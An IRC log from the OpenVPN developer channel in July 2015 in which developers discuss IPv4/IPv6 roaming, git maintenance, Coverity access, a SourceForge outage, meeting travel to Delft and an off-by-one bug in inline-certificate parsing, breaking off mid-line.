12:13 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 14:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 17:17 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 255 seconds] 17:19 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Mon Jul 20 2015 00:38 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 248 seconds] 00:39 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 00:40 -!- mode/#openvpn-devel [+o andj] by ChanServ 01:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:02 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:20 -!- reators [~holger@2001:1a80:2000:2:4410:2cf5:4223:1ac2] has joined #openvpn-devel 03:55 -!- TimSmall [~tim@ipv6test5.plus.com] has joined #openvpn-devel 04:05 -!- dazo_afk is now known as dazo 06:22 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 06:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:23 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:32 <@cron2_> plaisthos: I've spent a bit of thinking about your roaming/floating issue - IPv6 on 3G, no IPv6 on wifi 07:34 <@cron2_> I wonder if we can just float over to IPv4, then... on the server side, it should not care. On the client side, if we do IPv4-mapped on an IPv6 socket, the "existing protected" socket can be kept, and just used for a new target IP... 07:34 <@cron2_> (but I have no idea whether our current code can actually handle this without a major socket.c rewrite) 07:35 -!- djc [~djc@gentoo/developer/djc] has left #openvpn-devel [] 08:18 <@plaisthos> cron2_: the tricky bit is how to detect what protocol family to use 08:18 <@plaisthos> for the initial selection we just do whatever the resolver tell us 08:19 <@cron2_> right - well, we try all possible addresses, until one succeeds 08:19 <@plaisthos> but what if we roam from a ds-lite (ipv6 pefered) to a 6to4 network (Ipv4 prefered)? 08:19 <@plaisthos> both networks have both protocols 08:20 * cron2_ hopes that 6to4 will die a flaming death and we do not have to care anymore :) 08:20 <@plaisthos> cron2_: okay, other broken scenario then! 08:20 <@cron2_> we'll have to try both all addresses anyway (either protocol could be broken upstream)... 08:21 <@plaisthos> 46NAT with v4 only server and we resolved a DNS6 mapped v4 address (and the real v4 address as failback for xlat464) 08:21 <@cron2_> in an ideal world, we'd just try all addresses simultaneously and see which response comes back first - but the server side won't like that 08:21 <@cron2_> well, *that* one works "as designed" (NAT64, DNS64) today :) 08:22 <@plaisthos> cron2_: no 08:22 <@plaisthos> we use the DNS6 address which is only valid in the mobile network 08:22 <@cron2_> no? 08:22 <@cron2_> oh 08:22 <@cron2_> right 08:22 <@plaisthos> and even more broken 08:22 <@cron2_> one would need to re-resolve upon network change, and we can't, due to routes redireccted 08:22 <@plaisthos> we could roam to a NAT64/DNS64 Wifi network 08:22 <@cron2_> which has a different mapping, right 08:23 <@cron2_> mmmh 08:23 <@plaisthos> and even with reresolving 08:23 <@cron2_> nontrivial... needs more thought... 08:23 <@plaisthos> the VPN might screw up the resolver 08:23 <@cron2_> that's what I meant "we can't" 08:23 <@plaisthos> v4 only VPN => resolver prefers v4 addresses 08:24 <@cron2_> the VPN might not be usable for resolving anymore anyway (which is why we want to roam :) ) 08:24 <@plaisthos> cron2_: lets ignore routing issues for a moment and we are still screwed 08:24 <@plaisthos> or a v6/v4 vpn on a v4 only WiFi network => resolver might give the v6 address as prefered address 08:25 <@plaisthos> I could probably link openvpn against a local copy of the resolver library and also protect its sockets on Android to avoid the routing problems 08:25 <@cron2_> well, *that* is actually not a real problem - if you do not have v6 connectivity, trying to talk to v6 will fail fairly quickly 08:26 <@cron2_> ok, I see more need for discussion and interesting ideas here... 08:28 <@plaisthos> we should put that on the Delft Agenda 08:28 <@plaisthos> what should a good implemenation do ... 08:28 <@cron2_> right 08:28 <@plaisthos> We probably end up with something happy eyeball style 08:53 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 08:53 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 09:39 -!- pekster_ [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 09:39 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 09:42 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 248 seconds] 09:42 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 248 seconds] 09:42 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 248 seconds] 09:42 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:42 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:48 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 09:48 -!- mode/#openvpn-devel [+o cron2] by ChanServ 10:37 <@cron2> mmmh, git.code.sf.net broken? 10:37 <@cron2> git.code.sf.net[0: 216.34.181.155]: errno=Connection refused 10:40 <@ecrist> cron2: you need FreeBSD 10.1-RELEASE 10:41 <@ecrist> I'll try to reproduce today and get you more info. 10:44 <@dazo> cron2: seems so 10:45 <@dazo> hmmm ... http://p.sf.net/sourceforge/sitestatus 10:45 <@dazo> https://sourceforge.net/blog/sourceforge-infrastructure-and-service-restoration/ 10:45 <@dazo> duh, ignore last one 10:46 <@dazo> or actually ... the outage is mentioned later on 10:47 <@dazo> "We’re holding SCM service restoration for last, and will be prioritizing Git service to be first within that process based on its fast verification path. Holding SCM restoration for last allows us to take a cautious approach and to free our staff to interact with developers if any concerns exist when the service is re-enabled." 11:06 <@ecrist> cron2: it looks like it works OK if you don't have a --user and --group in the config (i.e. don't drop privileges) 11:06 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 265 seconds] 11:07 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 11:48 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 11:51 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 12:06 <@ecrist> cron2: it's working fine with a fresh update 12:06 <@ecrist> I wonder if I landed on an odd update 12:08 <@ecrist> oh, wait, maybe not 12:09 <@ecrist> I see where my problem is. 12:10 <@ecrist> I named my host "openvpn" and, since the hostname is in the log entry, I'm actually seeing named errors trying to listen on the tun interface that I was attributing to openvpn's own process 12:23 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 12:28 <@cron2> ecrist: so it was not an openvpn problem after all? 12:29 <@cron2> (which would make me quite happy :-)) 12:37 <@ecrist> correct 12:37 <@ecrist> 2015-7-18 14:54 openvpn named[917]: Failed to attach to tun0 - Permission denied. 12:37 <@ecrist> I was skipping right over the "named" part 12:39 <@cron2> but I think the message you posted in the pastebin was an actual openvpn error... but anyway, happy if it works :) 12:59 <@ecrist> that's how I remembered it, but I can't reproduce the problem today. 13:45 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 13:54 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 16:34 -!- dazo is now known as dazo_afk 19:18 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 19:22 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 21:21 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 21:22 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Tue Jul 21 2015 00:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:10 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:49 <@cron2> at least the sf mail server seems to be back... 02:36 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 240 seconds] 02:44 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 02:45 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:45 <@plaisthos> *sigh* 02:45 <@plaisthos> linux tcpdump -i any on linux does not write interface index in the capture .. 02:48 <@cron2> who would ever want that... (*roll eyes*) 02:49 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 03:10 <@plaisthos> hm seems that the feature only exists on OS X 03:55 <@cron2> (sf mail not really working... their inbound servers accept the mail, but do not deliver... or there is a huuuuge out-queue...) 05:01 <@cron2> how do I get a github pull request into "simple patch, send to mailing list" format? 05:02 <@cron2> https://github.com/OpenVPN/openvpn/pull/27 specifically 05:03 <@plaisthos> https://github.com/blueyed/openvpn/commit/12e9eaaad6626e683b70bec71fc9048aac3ccb9e.patch 05:04 <@cron2> where did you click to get there? 05:05 <@cron2> or "click to the commit and then manually add .patch to the URL"? 05:05 <@plaisthos> manually add the .patch 05:05 <@plaisthos> maybe there some hidden link 05:09 -!- pekster_ [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 246 seconds] 05:10 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 05:10 -!- mode/#openvpn-devel [+o pekster] by ChanServ 05:31 <@cron2> oh, interesting 05:32 <@cron2> mattocks windows-builder uses the github repo, while the buildbots use the sf repo... and vpnhelper also uses sf 05:32 <@cron2> so the two commits I just pushed ended up in building a new windows build only... 06:02 -!- dazo_afk is now known as dazo 06:24 <@cron2> dazo, git wonderman... 06:25 <@cron2> dazo: I wonder what happens to commitish'es after I do "git commit --amend" on them - they are still in there, somewhere (because you can compare with git diff etc.) 08:57 <@dazo> cron2: the commitish changes, as it is based on the commit message as well as timestamps, committer/author and the patch itself 08:57 <@dazo> so if something changes when you do --amend, the commit reference will change 08:57 <@dazo> if you don't want that to happen, but you want to add a non-critical comment without this "security" ... you can always use git note 08:58 <@dazo> but yes, the old commit before the --amend are also stored ... I don't remember the syntax to list those "loose" commits ... but you can get rid of them using git gc 08:59 <@dazo> (running git gc is advisable, at least every now and then ... it will reduce the size of the .git directory and improve the overall performance) 09:01 <@dazo> btw ... only commits which are "chained" to a branch will be pushed ... stray commits will only reside locally 09:01 <@dazo> (until you branch them, using git checkout -b $BRANCH_NAME $COMMITISH ... then you can push that branch) 09:04 <@cron2> dazo: ah :-) (your RTT is quite high...) - "git gc" was basically what I was wondering about. "If there is lots of cruft that is not pushed and not referenced, how to clean up?") 09:04 <@cron2> merging patches from the list sometimes goes along with 2-3 rounds of --amend - if the gmane URL thingie isn't working, if the commit message needs reformatting, ... 09:04 <@dazo> right 09:05 <@dazo> but once a commit has been pushed .... doing an --amend will require pushing with --force, as the commitsh changes .... and that will may make observant people scream out :) 09:07 <@dazo> More details on recovering lost stuff ... https://git-scm.com/book/en/v2/Git-Internals-Maintenance-and-Data-Recovery 09:09 <@dazo> ahh, git fsck --full lists all those dangling commits 09:09 <@dazo> or rather, s/commits/references/ 09:10 <@dazo> (you can do git show on those references to get more info) 09:10 <@cron2> dazo: understood, I'm careful with pushing :-) 09:10 <@dazo> :) 10:09 -!- Netsplit *.net <-> *.split quits: +krzee, @dazo 10:10 -!- Netsplit over, joins: dazo 10:10 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:20 <@plaisthos> you can also use git reflog 10:20 <@plaisthos> to see the last used stuff 11:05 <@dazo> git reflog doesn't list "dangling objects", does it? 11:24 -!- dazo is now known as dazo_afk 11:31 <@plaisthos> dazo_afk: iirc yes 11:57 <@plaisthos> it is the log of the last revision you "visisted" 11:57 <@plaisthos> but it is git 11:57 <@plaisthos> so it may be something completely different 13:11 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 16:57 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 264 seconds] 16:58 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 18:07 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 265 seconds] 18:12 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 18:52 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 18:54 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 19:13 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving] 22:45 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:45 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 23:21 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 23:23 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Wed Jul 22 2015 00:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 01:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 01:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:50 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:56 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 240 seconds] 01:57 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 02:01 <@cron2> ok, the openvpn-devel list (at least) seems to be back to normal now 02:01 <@cron2> I had 3 "open" mails and gmane now has all of them... 02:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 02:13 <@vpnHelper> RSS Update - gitrepo: options: fix option check for "plugin" <https://github.com/OpenVPN/openvpn/commit/82acf2163412aae9259e2202dbe001a2ac797b99> 02:17 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:17 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:16 <@cron2> google flight search says I should fly to Amsterdam to reach delft... 03:17 <@plaisthos> google maps tells that AMS is as far from Delft as MUC is from Munich *ducks* 03:17 <@cron2> yeah, but I wonder about Rotterdam, looks much closer 03:19 <@cron2> otoh syzzer mentioned something about public transport being easier from shiphol... 03:30 <@plaisthos> no idea 03:30 <@plaisthos> I bought train tickets 03:31 * cron2 is not going by train :) - complicated enough to organize flight schedule vs. grandma availability 03:33 <@plaisthos> cron2: yeah, for me I can choose between nonsense and more nonsense when flying 03:33 <@plaisthos> like going PAD-MUC-AMS 03:35 <@cron2> yeah :) - google flight search is offering me LH flights for 3000(!) EUR... 03:35 <@syzzer> public transport-wise AMS and RTM are about equally far from (or close to) Delft 03:35 <@cron2> there's many more possible flights to AMS, so we go there... 03:36 <@syzzer> whut? 03:36 <@cron2> KLM is ~330 for my wife and me :-) 03:36 <@syzzer> that sounds more like the right price 03:36 <@cron2> (... but extra for luggage... and then they wonder why people are cramming every available bit of space in the cabin with hand luggage...) 03:37 <@plaisthos> muc-pad is funny 03:37 <@plaisthos> since the plane is so small there is no space for all the lugguage 03:38 <@plaisthos> so you give away your "hand luggage" on the airfield and it is stored in an extra compartment and you get back on the airfield on the destination 03:39 <@cron2> this is actually a fairly reasonable way to handle large hand luggage, as opposed to "find some space belonging to other passengers that are not there yet and just fill it up"... 03:48 <@syzzer> just discovered we have coverity scans running since 2006 03:48 <@plaisthos> https://github.com/schwabe/ics-openvpn/issues/376#issuecomment-123618313 03:48 <@vpnHelper> Title: OpenVPN fails to connect after Anroid 4.4.2 has been rooted · Issue #376 · schwabe/ics-openvpn · GitHub (at github.com) 03:48 <@cron2> so... will have to arrive later and leave earlier this year 03:48 <@syzzer> so who's admin of the coverity project? 03:48 <@plaisthos> 2015-07-22 08:19:33 VERIFY X509NAME ERROR: C=MY, ST=Wilayah Persekutuan, L=Labuan, O=eVenture Limited, CN=*.hide.me, must be nl.hide.me 03:49 <@plaisthos> is that something that broke or did we never support wildcard CNs? 03:50 <@cron2> syzzer: that is all a bit... weird. Someone else registered that, but someone I know :) - and I asked him to give me admin rights. He supposedly did but I never had time to actually *check*... maybe we should spend a bit of time on that in Delft - "how to handle coverity". There is false positives in there (afair coverity misinterprets ASSERT()), but there are valid points. 03:53 <@syzzer> plaisthos: I don't think we ever support wildcards 03:53 <@cron2> looks like this "syzzer" guy is admin/owner @ coverity... 03:54 <@syzzer> hehe, thanks :) 04:00 <@cron2> so, cleaned up the user applications a bit... I'm not going to click around much more right now, but as far as I've been told, "work needs to be done" 04:01 <@plaisthos> syzzer: I also might have an account with unknwon user name and unknown password 04:01 <@cron2> that is: coverity isn't building/fetching stuff itself anymore, but Volker told me you need to do the build locally and then submit results. No idea what and how this is done 04:01 <@cron2> plaisthos: yeah, you submitted a request and I just approved it :-) - username is "arne", you might have logged in with your github credentials 04:01 <@cron2> but if you don't know, I'll just kick you out and you reapply...? 04:02 <@plaisthos> it works 04:03 <@cron2> cool :-) 04:03 <@syzzer> very interesting, will take a better look at this "soon" 04:06 <@cron2> *now* I receive the "user access request" mail from syzzer :) 04:19 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 265 seconds] 04:23 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 04:42 <@cron2> so. westcord hotel booked. done. 06:16 <@plaisthos> cron2: and flights too? 06:19 <@cron2> yep 06:19 <@cron2> arrival ~13:30 in AMS on Fri, departure 15:30 @ AMS on Sun 06:19 <@cron2> earlier/later wasn't possible due to grandma availability constraints :) (as Simone is coming along) 06:27 <@plaisthos> interesting my train ticket has no times on it 06:28 <@plaisthos> only for the ICE and in strange Dutch style 18u10 -> 19u07 06:35 <@syzzer> dutch train tickets are not for specific times 06:35 <@syzzer> you just book for a date and can take any train you like 06:36 <@syzzer> (except for 'special' ones, like ICE / Thalys, etc.) 06:36 <@plaisthos> syzzer: yeah, but on DB, they always print your journey, so you know where to change etc. 06:37 <@syzzer> ah, that kind of times 06:38 <@plaisthos> syzzer: I booked the ticket from NS since the cost was the same and they only wanted 0,70 credit card charge instead of 3,90 for mailing me a physical ticket with Deutsche Bahn 06:43 <@plaisthos> but my departure is also at 14:35 at Delft central station 07:15 <@cron2> syzzer: your init.c warning fixes, do you want them in 2.3.8? I think it would be good to do a 2.3.8 bugfix release "fairly soon"... 07:42 <@syzzer> cron2: would be nice, but not really required 07:43 <@syzzer> I would definitely not wait for them (sorry, really a bit too busy atm) 07:48 <@cron2> ok 08:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 09:26 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 09:38 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 12:18 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 12:19 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Thu Jul 23 2015 01:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:54 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:00 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 240 seconds] 03:12 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 08:08 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 08:31 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 08:39 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 08:40 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 14:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 16:10 <@plaisthos> syzzer: there might be corner cases where the inline file size patch breaks 16:10 <@plaisthos> I got now two bug reports from people failing with inline certificates 16:15 <@plaisthos> but looking at the code that makes no sense 18:32 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 264 seconds] 18:34 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 23:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:26 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 23:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 23:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Fri Jul 24 2015 00:24 <@mattock1> feel free to populate next Monday's topic list: https://community.openvpn.net/openvpn/wiki/Topics-2015-07-27 00:24 <@vpnHelper> Title: Topics-2015-07-27 – OpenVPN Community (at community.openvpn.net) 00:24 <@mattock1> I'm not entirely sure of the status of our patches atm 02:20 <@cron2> without working github, sort of hard :) 02:21 <@cron2> all of syzzer's recent patches have been merged, JJK's DHCP v3, Dazo's plugin patches are open 02:22 < TimSmall> dazo said that he would't have time to review the pam patches until after his holiday (which started 22nd). 02:22 <@cron2> but good news! 02:52 <@cron2> sf git is back, though vpn-helper seems to need a slap to notice... 10:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 10:35 -!- reators [~holger@2001:1a80:2000:2:4410:2cf5:4223:1ac2] has quit [Quit: Leaving.] 11:26 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 23:10 -!- s7r_w [~s7r@openvpn/user/s7r] has joined #openvpn-devel 23:12 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 272 seconds] --- Day changed Sat Jul 25 2015 03:01 -!- s7r_w [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 03:01 -!- s7r_w [~s7r@openvpn/user/s7r] has joined #openvpn-devel 03:55 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has joined #openvpn-devel 04:28 -!- s7r_w [~s7r@openvpn/user/s7r] has quit [Ping timeout: 250 seconds] 05:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:01 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:05 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 07:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 08:22 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 10:45 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving] 17:35 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 19:35 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving] --- Day changed Sun Jul 26 2015 05:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 06:04 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 06:04 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 06:05 -!- Netsplit *.net <-> *.split quits: ender|, @syzzer 06:11 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 06:31 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 06:31 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 10:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:43 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 12:46 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 15:05 <@vpnHelper> RSS Update - tickets: #582: OCSP_check.sh does not work <https://community.openvpn.net/openvpn/ticket/582> 15:47 <@cron2> syzzer: I assume "master and release/2.3", right? 16:05 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 16:12 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] 16:15 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 17:01 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 17:01 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Mon Jul 27 2015 02:20 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 02:54 <@syzzer> cron2: just master, I don't think the 'breaking' patch went into 2.3 03:55 <@cron2> syzzer: indeed, right you are. I confused this with "something daemon() related also caused warnings", but just re-tested release/2.3 and there are none in init.c 04:10 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 04:11 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 04:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:37 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:39 <@mattock1> we've got a meeting scheduled for today - who can/will attend? 04:39 * cron2 hides 04:39 <@cron2> (I'll be there) 04:47 <@mattock1> ok, good 05:21 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 240 seconds] 05:22 <@mattock1> I'll start arranging the topic list 05:23 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 05:29 <@mattock1> dazo_afk: can you make it today? There are Tim's patches as well as your own in the review queue (afaics) 05:30 <@mattock1> here's a draft: https://community.openvpn.net/openvpn/wiki/Topics-2015-07-27 05:30 <@vpnHelper> Title: Topics-2015-07-27 – OpenVPN Community (at community.openvpn.net) 05:43 -!- BuddyButterfly [~BuddyButt@h1359005.stratoserver.net] has joined #openvpn-devel 05:43 -!- BuddyButterfly [~BuddyButt@h1359005.stratoserver.net] has left #openvpn-devel [] 05:43 -!- BuddyButterfly [~BuddyButt@h1359005.stratoserver.net] has joined #openvpn-devel 05:44 < BuddyButterfly> I know, it it's the dev channel here. May I ask a question regarding usage of openvpn on windows? 06:11 <@cron2> you can always *ask*... :) 06:17 <@syzzer> mattock1: I'll be there too (unless we don't have anything to discuss, ofc) 06:18 <@mattock1> syzzer: oh, we have plenty: https://community.openvpn.net/openvpn/wiki/Topics-2015-07-27 06:18 <@vpnHelper> Title: Topics-2015-07-27 – OpenVPN Community (at community.openvpn.net) 06:19 <@mattock1> if something is missing or has been handled already, please edit 06:19 <@mattock1> I'll send an announcement now 06:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 07:12 -!- BuddyButterfly [~BuddyButt@h1359005.stratoserver.net] has quit [Ping timeout: 255 seconds] 07:51 -!- BuddyButterfly [~BuddyButt@h1359005.stratoserver.net] has joined #openvpn-devel 07:57 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 264 seconds] 08:05 < BuddyButterfly> ok, thanks. 08:06 < BuddyButterfly> Issue: Windows Client connecting via UDP to OpenVPN-Server. Server goes down. After coming back and reconnecting to VPN, dns resolution does not work anymore from Windows client. Flushing dns cash does not help eather. Access via IP works. Only after about 10-15 minutes, resolution comes back. Any Idea? 08:08 < BuddyButterfly> Interestingly nslookup did work in normal and fqhn case. though, any program, like ping or other does not work. 08:08 < BuddyButterfly> default route is not being redirected. 09:49 <@plaisthos> syzzer: ping 09:54 <@syzzer> plaisthos: pong 09:55 <@plaisthos> syzzer: the config inline patch breaks stuff 09:56 <@plaisthos> syzzer: I just send you an email with a broken config 09:59 <@plaisthos> syzzer: key password is 1234 10:01 <@plaisthos> if I add an empty line before ------BEGIN CERT it works again 10:06 <@syzzer> hmpf 10:06 <@syzzer> will have to look at that 10:07 <@syzzer> I seem to be breaking a lot of stuff recently :') 10:08 <@plaisthos> syzzer: what I found out so far is that it breaks when it reads the last line and also dubles the buffer in that last line 10:10 <@plaisthos> hm never mind 10:10 <@plaisthos> that seems coincidental 10:12 <@plaisthos> the broken readin is missing a \n before ----END 10:12 <@plaisthos> this is really weird 10:17 <@plaisthos> okay 10:17 <@plaisthos> it is really some weird off by one 10:22 <@plaisthos> when buf.len is 2043 and buf.capacity is 2048 and the strlen(line) is 5, buf_printf("%s",line) writes only 4 bytes to buf 10:33 <@plaisthos> I sent a patch to devel 10:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 10:38 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:38 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:59 <@syzzer> plaisthos: good find. I'll look at the patch tonight 11:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 11:03 <@plaisthos> syzzer: thanks 11:04 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 11:04 -!- mode/#openvpn-devel [+o cron2] by ChanServ 11:04 <@cron2> power outage... TTIP is coming... 11:09 <@plaisthos> cron2: Blaming TTIP for that one might be a bit far fetched 11:09 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 265 seconds] 11:25 <@cron2> plaisthos: half of munich had no power because a stupid idiot drilled his own grave... 11:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:30 -!- mode/#openvpn-devel [+o 